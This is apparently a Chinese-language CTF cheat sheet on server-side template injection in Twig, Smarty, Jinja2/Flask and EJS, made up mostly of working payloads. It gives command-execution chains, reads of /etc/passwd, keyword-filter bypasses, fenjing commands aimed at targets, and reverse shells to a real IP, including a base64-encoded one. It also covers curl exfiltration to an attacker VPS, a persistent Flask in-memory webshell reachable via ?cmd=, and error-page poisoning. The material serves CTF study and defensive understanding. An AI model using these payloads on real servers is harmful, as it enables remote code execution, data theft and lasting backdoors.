前言

SSTI(Server-Side Template Injection,服务端模板注入)是模板引擎把用户输入当模板代码执行的一类漏洞:输入被拼进模板字符串而不是作为数据传入,攻击者就能注入模板语法,进而读到服务器上的变量、文件,甚至执行命令

基础

探测

ssti-01

先扔一串模板里常见的特殊字符,看有没有报错或回显变化:

1
2
3
4
5
{7*7} ->49 -> smarty

{{7*'7'}} -> 49 -> twig

{{7*'7'}} -> 7777777 -> jinja2

php Twig 利用

Twig 的 _self.env 暴露了环境对象,可以注册回调再触发执行,因此版本不同 payload 也不同,下面这些覆盖大部分版本:

1
2
3
4
5
6
7
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

{{['id']|filter('system')}}
{{['id',""]|sort('system')}}
{{['cat /etc/passwd']|map('system')|join}}

不依赖 _self.env 的写法(Twig 3 常见):

1
2
3
{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id']|reduce('system')}}

要读文件时可以把命令换成 cat /flag;Twig 的 source() 只能读模板目录下的模板文件(受 loader 限制),不是任意文件读取:

1
{{source('index.html')}}

ssti-02

尝试输入数据,结果就是输入什么就回显什么

有两个包,第一个为 session 赋值,第二个请求页面

尝试 {{7*8}} 发现有 ssti

尝试 X-Forwarded-For: {{system("ls")}}、{php}phpinfo();{/php}、{if phpinfo()}{/if} 都失败

利用 TWIG 全版本通用 SSTI payloads 成功:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
1
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat ../../../flag|tr '\n' ','")}}

getFilter 括号里就是执行命令的地方;这个 payload 好像只能回显最前面的一个结果

php smarty 利用

smarty 常用探测与利用:

1
2
3
4
5
6
7
{$smarty.version}                              # 版本
{if phpinfo()}{/if} # 条件里执行
{php}phpinfo();{/php}
{system('id')} # 直接调函数
{`id`} # 反引号
{"".system('id')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php phpinfo(); ?>",self::clearConfig())}

{$smarty.version} 可以看版本,Smarty3 里 {php} 常被禁用,优先试 {if phpinfo()}{/if}、{if system("id")}{/if}、反引号 {id};直接写 {system("id")} 要看是否允许调用未注册函数

HDCTF 2023 SearchMaster

ssti-03

判断模板类型及版本

ssti-04

1
{php}phpinfo();{/php}  # 执行相应的 php 代码

Smarty 支持用 {php}{/php} 标签执行被包裹其中的 php 指令,最常规的思路自然是先测试该标签。但 Smarty3 已经废弃 {php} 标签,Smarty 3.1 起{php}仅在 SmartyBC 中可用

ssti-05

采用 if 判断执行代码

ssti-06

flask 模板 jinja2 框架 利用

render_template 渲染的是模板文件;render_template_string 则是把字符串直接当模板渲染

所以当代码把 render_template 换成 render_template_string、又不处理用户输入时,模板语法就会被执行,这就是 ssti 注入

类链利用原理

1
2
3
{% set x= 'abcd' %}                           # 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} # 循环语句
{% if 25==5*5 %}{{1}}{% endif %} # 条件语句

__class__ 返回类型所属的对象
__mro__ 返回方法解析顺序(MRO)元组,__mro__[1] 一般是 object(Python2 里 str 的 MRO 是 (str, basestring, object),所以用 [2])
__base__ 返回该对象直接继承的基类,等价于 __bases__[0]
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__ 是函数所在模块的全局变量字典,能从里面翻到 os、__builtins__
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
__builtins__ 兜底为什么万能:每个模块的 globals 里 Python 会自动塞一个 __builtins__,里面有 eval、__import__、open、chr,模块没 import os 也能现拿:

类链怎么走:__class__ → __mro__/__base__ → __subclasses__() → __init__.__globals__ → os / __builtins__

找到基类中的所有子类

1
2
3
4
[].__class__.__base__.__subclasses__()          # <type 'list'> <type 'object'>
''.__class__.__mro__[2].__subclasses__() # <type 'str'> <type 'object'>
().__class__.__bases__[0].__subclasses__() # <type 'tuple'> <type 'object'>
{}.__class__.__mro__[1].__subclasses__() # <class 'dict'> <class 'object'>

找到子类,我们就可以去找子类的一些危险方法

1
{{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}   # 注意:%27 是 ' 的 URL 编码,要经 HTTP 层解码后才生效

寻找可利用的类

先把 __subclasses__() 列表打出来,再按类名找 site._Printer、warnings.catch_warnings、subprocess.Popen、os._wrap_close 对应的编号;下面的 [40]、[59]、[71]、[132]、[258] 这些下标随 Python 版本和已加载模块变化,不能照抄

__subclasses__() 出来两百多个类,所以思路就三步:把整串列表打出来 → 复制 → 按类名查它排第几个。

先打印(把返回的这一整段复制下来):

1
2
{{''.__class__.__mro__[1].__subclasses__()}}
[].__class__.__base__.__subclasses__()

方法一:(贴入整串,再输入关键字查下标)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import time

def ssti():
a = input("输入完整的字符串:")
global aa
aa = a.split(",") # 逗号分隔,直接粘进去就行
print("-----------------已经处理好了,可以进行查询了-----------------")
while True:
chaxuen()

def chaxuen():
try:
c = input("输入要查询的字符串:")
for i, line in enumerate(aa): # enumerate 拿到"下标 + 元素"
if c in line:
print("\n该字符串的位置为: " + str(i), line, "\n--------------查询成功-------------")
except Exception as e:
print(e)

if __name__ == "__main__":
while True:
user = input("<<< 是否开始查询 请输入 y/n >>>: ")
if user == "y":
ssti()
elif user == "n":
print("欢迎下次光临")
break

粘进去后输入 _wrap_close、Popen、catch_warnings、BuiltinImporter 这类关键字,打印出来的数字就是下标。

方法二:(按 > 切分成一个个类,关键词写在最后一行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a = """粘贴 __subclasses__() 的整串输出"""

allList = []
result = ""
for ch in a:
if ch == ">":
result += ch
allList.append(result) # 遇到 > 就收一个类
result = ""
elif ch in "\n,":
continue
else:
result += ch

for k, v in enumerate(allList):
if "_wrap_close" in v: # 换成你要找的类名
print(str(k) + "--->" + v)

查到的下标 [i] 直接替换掉下面 payload 里的 [71] / [132] / [258]:

1
2
{{''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['popen']('id').read()}}
{{()[request.args.a][request.args.b]}}&a=__class__&b=__base__

直接从函数出发

类链不是必须的:__globals__ 是函数对象的属性,模板里已经给了函数(lipsum、url_for…)时,一步就能到模块全局变量,不用 __class__ → __subclasses__() 绕一圈。

1
2
3
4
{{lipsum.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

实测(flask 3.1.3 / jinja2 3.1.6):

模板里的名字 是什么 要类链吗 __globals__ 指向 里面有什么
lipsum function 不用 jinja2.utils os、__builtins__
cycler.__init__ / joiner.__init__ / namespace.__init__ method 不用 jinja2.utils os、__builtins__
url_for function 不用 flask.app os、current_app、__builtins__
get_flashed_messages function 不用 flask.helpers os、__builtins__
self TemplateReference 对象 只用一层 .__init__ jinja2.runtime 没有 os,有 __builtins__
config Config 实例 只用一层 .__class__.__init__ flask.config 配置项
''、[]、()、{} 字符串/列表等 必须 无(本身不是函数) 只能 __subclasses__()
request 对象 一层 .__application.__globals__ flask.app __builtins__

环境差异(实测 is defined):

名字 纯 Jinja2 Flask
lipsum / cycler / joiner / namespace / self 有 有
url_for / config / get_flashed_messages / request 没有 有
1
2
3
4
手上有函数对象  ->  .__globals__                      (lipsum / url_for / get_flashed_messages)
手上有对象实例 -> .__class__.__init__.__globals__ (config)
手上只有普通值 -> .__class__.__mro__[1].__subclasses__()[i].__init__.__globals__
模块里没有 os -> ['__builtins__']['__import__']('os')

敏感信息

1
2
3
4
/shrine/{{url_for.__globals__}}                             可以查看所有全局变量
/shrine/{{url_for.__globals__['current_app'].config}} 看到 current_app 就是当前 app,直接取它的 config

{{config}} 查看所有app.config内容

命令执行

不用类链、直接能用的几条链:

1
2
3
4
5
6
7
{{lipsum.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

内含os模块的类

<class 'site._Printer'>
1
2
3
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

没有 os 的类

没有 os 的类,可以借 eval / __import__ / subprocess.Popen / os._wrap_close:

<class 'warnings.catch_warnings'>
1
2
3
4
5
6
7
8
9
10
11
12
13
# eval

{% print([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')) %}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

#__import__

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('ls')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
<class 'subprocess.Popen'>
1
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
<class 'os._wrap_close'>
1
2
3
4
5
{{"".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}?ctfshow=cat /flag


{{()[request.args.a][request.args.b]}}&a=__class__&b=__base__

文件读写

<type 'file'>

1
2
3
4
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}                  # python2 的 file
{{lipsum.__globals__['__builtins__']['open']('/etc/passwd').read()}} # python3 直接 open
{{url_for.__globals__['current_app'].open_resource('flag').read()}} # Flask 资源
''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

写文件用 write:

1
2
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

过滤与绕过

被过滤 绕过
. []、|attr("")、__getitem__
_ lipsum|string|list 取第 24 个字符、chr(95)、\x5f
{{}}` | 换成语句标签 `{% print(...) %}` | | 关键字 `class`/`globals` | 字符串拼接 `"cla""ss"`、`~`、`format`、反转、`base64` | | 引号 | 双引号/反引号、`request.args` 传参 | | 数字下标 | 用 `\|attr`、`\|list\|first`、`\|string\|list` 动态取值 | #### 关键符号被过滤 (1)**`.` 被过滤** → 全部换成 `|attr`或者换成`[]`
1
2
3
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("echo HI")|attr("read")()}}

{{""['__class__']}}
(2)**`[` `]` 被过滤** → 用 `__getitem__` / `pop` / `get`
1
{{(lipsum.__globals__).__getitem__("os").popen("echo HI").read()}}
1
{{lipsum.__globals__|attr("get")("os")|attr("popen")("echo HI")|attr("read")()}}
1
{{(lipsum.__globals__).pop("os").popen("echo HI").read()}}
注意 `pop` 会**真的把键删掉**——它动的是 `jinja2.utils` 模块的全局字典,删了之后同一进程里别人再取 `["os"]` 就取不到了(我本地实测过:pop 完后面所有链子全挂)。所以 * 用 `pop` 的那次必须**放在最后** * 或者干脆用 `get` / `__getitem__`,它们不删键 (3)**`{{ }}
被过滤** → 换成语句标签 {% print(...) %}
1
{% print(lipsum.__globals__["os"].popen("echo HI").read()) %}

(4)**_ 被过滤** → 从 lipsum|string 里取第 24 个字符(正好是 _),再用 ~ 拼

1
{% set u=(lipsum|string|list)|attr("pop")(24) %}{{lipsum|attr(u~u~"globals"~u~u)|attr("get")("os")|attr("popen")("echo HI")|attr("read")()}}

(5)过滤中括号[]:

1
2
3
4
# 正常:
{{''.__config__.__base__.__subclasses__()[117].__init__.__globals__.['popen']('cat /etc/passwd').read()}}
# 过滤[] 可以使用__getitem__()绕过
{{''.__config__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

字符串构造(绕过关键字过滤)

引号里的字符串

(1)**+ 拼接**

1
{{lipsum.__globals__["__buil"+"tins__"]["__impor"+"t__"]("o"+"s").popen("echo HI").read()}}

(2)相邻字面量(Jinja2 自动拼接)

1
{{lipsum.__globals__["__buil""tins__"]["__impor""t__"]("o""s").popen("echo HI").read()}}

(3)**~ 拼接**(+ 被禁时用它)

1
{{lipsum.__globals__["__buil"~"tins__"]["__impor"~"t__"]("o"~"s").popen("echo HI").read()}}

(4)**join**(也常用 "fla".join("/g") 得到 /flag 这种”分隔符塞中间”的写法)

1
{{lipsum.__globals__["".join(["__buil","tins__"])]["".join(["__impor","t__"])]("".join(["o","s"])).popen("echo HI").read()}}

(5)反转([::-1])

1
{{lipsum.__globals__["__snitliub__"[::-1]]["__tropmi__"[::-1]]("so"[::-1]).popen("IH ohce"[::-1]).read()}}

(6)大小写转换(只过滤小写时)

1
{{lipsum.__globals__["__BUILTINS__".lower()]["__IMPORT__".lower()]("OS".lower()).popen("ECHO HI".lower()).read()}}

(7)hex 转义

1
{{lipsum.__globals__["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("\x6f\x73").popen("echo HI").read()}}

(8)**|format 的 %c**

1
{{lipsum.__globals__["%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95)]["__import__"]("os").popen("echo HI").read()}}

(9)**chr**(要先从 __builtins__ 里把 chr 取出来)

1
{% set chr=lipsum.__globals__["__builtins__"].chr %}{{lipsum.__globals__["__builtins__"]["__import__"](chr(111)~chr(115)).popen("echo HI").read()}}

(10)**dict|join**(连字母都被过滤时,拿字典的关键字当”字母表”)

1
{{lipsum.__globals__[dict(o=a,s=a)|join].popen("echo HI").read()}}

(11)**request.args 传参**(字符串完全不进模板,最省事)

1
{{lipsum.__globals__[request.args.a][request.args.b](request.args.c).read()}}

配套请求:?a=os&b=popen&c=echo HI

(12)py2 时代的老写法(现在少见,见到能认出来就行)

1
2
{{().__class__.__bases__[0].__subclasses__()[40]("/fl""ag").read()}}
("X19jbGFzc19f").decode("base64") # py2 的 base64
引号外的关键字
类型 例子 对策
属性名 / 方法名 __globals__、__class__、popen 搬进引号(|attr("…") 或 ["…"]),再用上面①~⑫的造串法
变量名 / 入口名 lipsum、config、self 换一个没被过滤的入口,见(5)

属性名本来就是字符串,搬进引号就能用”引号里”的全部技巧

1
2
3
4
5
{{lipsum|attr(request.args.g)|attr("get")(request.args.k)|attr("popen")("echo HI")|attr("read")()}} #配套请求:`?g=__globals__&k=os`

{{lipsum|attr("__glo"~"bals__")|attr("get")("os")|attr("popen")("echo HI")|attr("read")()}}

{{lipsum|attr("__glo""bals__")|attr("get")("os")|attr("popen")("echo HI")|attr("read")()}}

工具

手工绕不过 WAF 时,用 fenjing 自动生成能过黑名单的 Jinja2 payload(下面按 0.9.1 实测)。

安装:

1
pip install fenjing

脚本方式(把题目的黑名单写进 waf,返回 True 表示这个字符串能过 WAF;exec_cmd_payload 生成命令执行的 payload,config_payload 生成读 config 的 payload。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level=logging.INFO)

def waf(s: str):
blacklist = ["__", "global", "{{", "}}"]
return all(word not in s for word in blacklist) # True = 没命中黑名单

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "env") # 执行命令
config_payload = config_payload(waf) # 读 config

print(f"{shell_payload=}")
print(f"{config_payload=}")

黑名单为 ["__", "global", "{{", "}}"] 时,0.9.1 生成的两条 payload(实测能直接发):

1
{%print ((_114|attr('_''_eq_''_'))['_'+'_'+'g''lobals'+'_'+'_'].sys.modules.os.popen('env')).read()%}
1
{%print self['_''_dict_''_']['_'+'T'+'e'+'m'+'p'+'l'+'a'+'t'+'e'+'R'+'e'+'f'+'e'+'r'+'e'+'n'+'c'+'e'+'_'+'_'+'c'+'o'+'n'+'t'+'e'+'x'+'t'].config%}

命令行方式(直接打目标):

1
2
3
4
5
6
7
8
python -m fenjing crack -u 'http://target/?name=*' -i name -e 'id'
python -m fenjing crack -u 'http://target/' -i name -m POST -e 'cat /flag' --cookies 'PHPSESSID=xxx'
python -m fenjing crack -u 'http://target/' -i name --environment flask -e 'ls /'
python -m fenjing crack-json -u 'http://target/api' -i name -e 'id'
python -m fenjing crack-request -f request.txt # 请求存文件,用 PAYLOAD 标记注入点
python -m fenjing crack-keywords -k '__,config,self' # 只知道关键字时让它造 payload
python -m fenjing scan -u 'http://target/' # 先扫再打
python -m fenjing webui # 起个网页界面

无回显

模板渲染了,但结果不返回给前端(比如后端只 return "OK"),或者只返回成功/失败 —— 这时候要把”输出”从别的通道送出来。常见有下面几种,越靠前越省事。

写文件到 static

最通用的办法:把命令结果写到能被访问的静态目录(Flask 的 static/,或者站点的 public/),再直接访问文件。

1
{{url_for.__globals__['__builtins__']['__import__']('os').system('(id; pwd; ls -la; env) > static/r1.txt 2>&1')}}

然后访问 /static/r1.txt。实测文件能正常写出 ✓

出网反弹 shell

目标能出网、有 bash 时最省事。命令里不能有空格时用 ${IFS} 顶空格,再把命令 base64 化绕开特殊字符:

1
{{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'').read()}}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx 解出来就是:

1
bash -i >& /dev/tcp/123.57.23.40/1111 0>&1

也可以直接把结果带出去:

1
{{lipsum.__globals__['os'].popen('curl http://你的vps/?x=`id`').read()}}

HTTP 头回显

Flask 回显马

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: (resp.headers.__setitem__('X-Flag', __import__('os').popen('printenv FLAG').read().strip()), resp)[1])",{'app':url_for.__globals__['sys'].modules[url_for.__globals__['current_app'].import_name].__dict__['app']})}}

然后任意请求都能在响应头里看到:

1
X-Flag: moectf{8f61c757-b295-df35-20a1-69760cf89039}

错误页面回显

污染 werkzeug.exceptions 里异常类的 description,随便访问一个不存在的路径就能看到结果:

1
{{url_for.__globals__.__builtins__['setattr'](url_for.__globals__['sys'].modules['werkzeug.exceptions'].NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('id').read())}}

实测:GET /no-such-page 的 404 页面里出现 NOTFOUND_PWNED ✓

把 NotFound 换成 InternalServerError、BadRequest 等,可以污染别的错误页。

注入内存马

挂一个 after_request 钩子,之后所有请求都能用 ?cmd= 执行命令,不用再发 payload:

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':(url_for.__globals__['sys'].modules.get('__main__').__dict__.get('app') or url_for.__globals__['sys'].modules[url_for.__globals__['current_app'].import_name].__dict__['app'])})}}

之后 GET /?cmd=id 直接回显。实测 ?cmd=echo MEM_OK → MEM_OK、?cmd=whoami → 用户名、?cmd=printenv FLAG → flag ✓

盲注

实在送不出去(不出网、没静态目录、header 也被挡),只能一位一位地猜:

  • 布尔盲注:用条件语句,让”条件真/假”对应页面内容或状态码不同
1
{% if 7*7==49 %}yes{% endif %}
  • 时间盲注:条件为真时才执行 sleep,看响应时间
1
{% if 7*7==49 %}{{lipsum.__globals__['os'].popen('sleep 3').read()}}{% endif %}
  • 带外:结果通过 DNS/HTTP 打出去(适合有出网但没回显)

实测(把 sleep 换成 Python 版给 Windows 测的):条件真 1.58s、条件假 0.01s ✓;注意 sleep 是 Linux 命令,Windows 靶场要换 ping -n 3 127.0.0.1 之类

参考:cnblogs「jinjia2 无回显 SSTI」(shinnylbz),本文把里面失效的 lipsum.__spec__ 写法换成了实测可用的 url_for.__globals__['sys']

案例:[WesternCTF2018]shrine1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import flask
import os

app = flask.Flask(__name__)
// app.config 保存这个 app 的所有配置变量
app.config['FLAG'] = os.environ.pop('FLAG')
// 注册了一个名为 FLAG 的 config,猜测这就是 flag,如果没有过滤可以直接{{config}}查看所有 app.config 内容

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')// 转义括号
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
// 上面这行代码把黑名单的东西遍历并设为空
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

原理:render_template 渲染的是模板文件,{{ }} 会被正常求值;换成 render_template_string 并把用户输入直接当模板渲染,就会发生 ssti 注入

ssti-07

这一题的 config、self 被拉黑,括号也被删了,所以靠 url_for 拿 current_app.config:

1
/shrine/{{url_for.__globals__['current_app'].config}}

更多见 SSTI 模板注入绕过(进阶篇)

案例:[DASCTF X CBCTF 2022 九月挑战赛]Text Reverser

ssti-08

发现 {{}} 被过滤了,利用 {% print([].__class__.__base__.__subclasses__()) %} 绕过

案例:过滤绕过实战

ssti-09

过滤了 .,用 |attr("") 代替;注意 attr 内不能拼接(可以用变量代替)

过滤了下划线:

1
2
{%set pop=dict(pop=a)|join%}
{%set mayylu=(lipsum|string|list)|attr(pop)(24)%} 可得变量 mayylu 即为下划线

过滤了某些关键词,以及 + 等拼接符:可以用 join 关键字代替 +

过滤了单引号:可以用双引号代替,不影响语句

完整的构造(把 class、bases、subclasses、getitem、init、globals 这些关键字用变量拼出来):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{%set pop=dict(pop=a)|join%}
{%set mayylu=(lipsum|string|list)|attr(pop)(24)%}
{%set cla="cla" %}
{%set ss="ss" %}
{%set cs=(mayylu,mayylu,cla,ss|join,mayylu,mayylu)|join%}
{%set ba="ba" %}
{%set se="se" %}
{%set bs=(mayylu,mayylu,ba,se|join,mayylu,mayylu)|join%}
{%set subcla="subcla" %}
{%set sses="sses" %}
{%set sb=(mayylu,mayylu,subcla,sses|join,mayylu,mayylu)|join%}
{%set getitem="getitem" %}
{%set get=(mayylu,mayylu,getitem|join,mayylu,mayylu)|join%}
{%set in="in" %}
{%set it="it" %}
{%set int=(mayylu,mayylu,in,it|join,mayylu,mayylu)|join%}
{%set glo="glo" %}
{%set bals="bals" %}
{%set gb=(mayylu,mayylu,glo,bals|join,mayylu,mayylu)|join%}
{%print ([]|attr(cs)|attr(bs)|attr(sb)()|attr(get)(140)|attr(int)|attr(gb)|attr(get)("popen")("ls")|attr("read")())%}

Node.js(EJS / Handlebars)利用

1
2
3
4
5
6
<%= global.process.mainModule.constructor._load('child_process').execSync('id') %>
<%= global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString() %>
<%= require('child_process').execSync('ls') %>
<%= require('child_process').execFileSync('ls') %>
<%= require('child_process').spawnSync('ls').stdout %>
<%= global.process.mainModule.constructor._load('child_process').execSync('ls') %>
1
2
3
4
5
6
7
eval={{ " ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat fl00g.txt').toString()")() }}
?eval=require("child_process").execSync("ls")
?eval=require("child_process").execFileSync("ls")
?eval=require("child_process").spawnSync("ls").stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
require("fs").readdirSync(".")
require("fs").readFileSync("fl001g.txt")

三条等价的 calc 链:

1
2
3
require('child_process').exec('calc')
global.process.mainModule.constructor._load('child_process').exec('calc')
global.process.mainModule.require('child_process').exec('calc')